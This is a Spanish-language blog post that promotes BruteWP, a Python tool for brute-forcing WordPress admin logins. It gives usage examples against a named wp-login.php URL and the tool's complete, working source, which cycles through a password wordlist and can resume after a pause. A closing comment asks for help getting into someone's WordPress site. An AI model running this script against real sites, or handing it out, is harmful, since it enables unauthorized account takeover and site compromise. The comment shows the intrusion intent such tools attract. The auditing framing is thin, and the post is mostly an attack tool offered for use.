Hola a todos! El día de hoy estuve probando una tool llamada BruteWP, hecha en Python y la verdad es que es muy rapida y efectiva. La probé con un wordpress de prueba y la verdad es que funcionó a la perfección.
Existe una herramienta muy buena para la auditoría de CMS WordPress, su nombre es Wpscan, esta herramienta permite realizar un análisis de vulnerabilidades para este tipo de gestor de contenidos. Además, esta herramienta permite realizar un ataque de fuerza bruta, el problema radica principalmente en que el ataque de fuerza bruta que hace esta herramienta entrega muchos falsos positivos, por esta razón se comprobó que no es muy fiable al momento de realizar este tipo de ataques.
Por esta razón se desarrolló una herramienta escrita en Python la cual se denominó BruteWP. Esta herramienta permite realizar un ataque de fuerza bruta de manera efectiva y para cualquier versión de WordPress
Forma de uso:
1 | BruteWP.py -t [target] -u [user] -w [wordlist] |
Ejemplo:
1 | ./BruteWP.py -t https://antrax-labs.org/wp-login.php -u admin -w wordlist.txt |
Como se puede observar en la imagen anterior, este script requiere parámetros obligatorios como son, la URL ejemplo : www.mipagina.com/wp-login.php, el username (Para obtener el username se puede utilizar la herramienta Wpscan), y finalmente el diccionario.
El valor agregado que posee esta herramienta, es que si se desea pausar el escaneo, es posible reanudarlo en cualquier momento con la opción -r, esto es muy útil, ya que así se podrá continuar con la auditoría sin ningún problema.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 | #!/usr/bin/python #coding:utf-8 import argparse import requests from urlparse import urlparse def reportarError(error): print """[*] ERROR! Por favor, reporta este error: {barras} {error} {barras} En https://github.com/samuelproject/BruteWP/issues Gracias por tu colaboracion! """.format(error=error.message, barras="-"*len(error.message)) def attack(target, usuario, diccionario, restaurar = False): target = urlparse(target) if target.scheme == "": target = "http://{}".format(target.geturl()) else: target = target.geturl() print "[*] Target: {}\n".format(target) diccionario = open(diccionario, 'r') diccionario = diccionario.readlines() iteracion = open('iteracion.txt','a+') iteracion.seek(0,0) contenido_iteracion = iteracion.readlines() if len(contenido_iteracion) == 0: iteracion.write("1\n") iteracion.close() iteracion = open('iteracion.txt','r+') contenido_iteracion = iteracion.readlines() iteracion.close() aux = diccionario cont = 1 encontrado = False if restaurar: print "[*] Restaurando ataque...\n" ultimo_valor_iteracion = int(str(contenido_iteracion[len(contenido_iteracion)-1]).strip()) aux = aux[ultimo_valor_iteracion-1:] if len(aux) == 0: cont = 1 aux = diccionario else: cont = ultimo_valor_iteracion for password in aux: with open('iteracion.txt','w') as iteracion: try: cabeceras = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain" } payload = { 'log': usuario.strip(), 'pwd': password.strip() } response = requests.post(target, data=payload, headers=cabeceras, allow_redirects=False) if response.status_code in [302, 303]: print '[%d] - Password: %s <----- BruteWP ha ENCONTRADO el password :)' % (cont,password.strip()) cont = 0 encontrado = True break elif response.status_code == 200: print '[%d] - Password: %s NOT FOUND' % (cont,password.strip()) else: print 'Error!!!!' except KeyboardInterrupt: print '\n[*] Ejecución terminada por el teclado' cont -= 1 exit() except Exception as e: reportarError(e) exit() finally: cont += 1 iteracion.write(str(cont)+'\n') if not encontrado: print "\nNo se ha podido encontrar el password. Intenta usar otro diccionario.\n" def conexion(): parser = argparse.ArgumentParser( usage="./BruteWP.py -t [target] -u [usuario] -w [diccionario]", add_help=False, ) parser.add_argument("-h", "--help", action="help", help="Mostrar este mensaje de ayuda y salir") parser.add_argument("-t", dest='target', help="Target a atacar. Ejemplo: www.sitewordpress/wp-login.php") parser.add_argument("-u", dest='usuario', help="Nombre de usuario de WordPress") parser.add_argument("-w", dest='diccionario', help="Diccionario para realizar el ataque") parser.add_argument("-r", dest='restaurar', action="store_true", help="Restaura la última sesión del ataque") args = parser.parse_args() autores = ['@Samuel.E'] colaboradores = ['@aperezalbela'] print """ ____ _ __ ______ | __ ) _ __ _ _| |_ __\ \ / / _ \ | _ \| '__| | | | __/ _ \ \ /\ / /| |_) | | |_) | | | |_| | || __/\ V V / | __/ |____/|_| \__,_|\__\___| \_/\_/ |_| v 1.1 Por: {autores} Colaboradores: {colaboradores} """.format( autores=', '.join(autores), colaboradores=', '.join(colaboradores) ) if args.target and args.usuario and args.diccionario: attack(args.target, args.usuario, args.diccionario, args.restaurar) else: parser.print_help() if __name__ == '__main__': conexion() |
hola, me interesa mucho el poder entrar una web con wordpress, podrías ayudarme a ahcerlo solo brindandoe alguna información básica?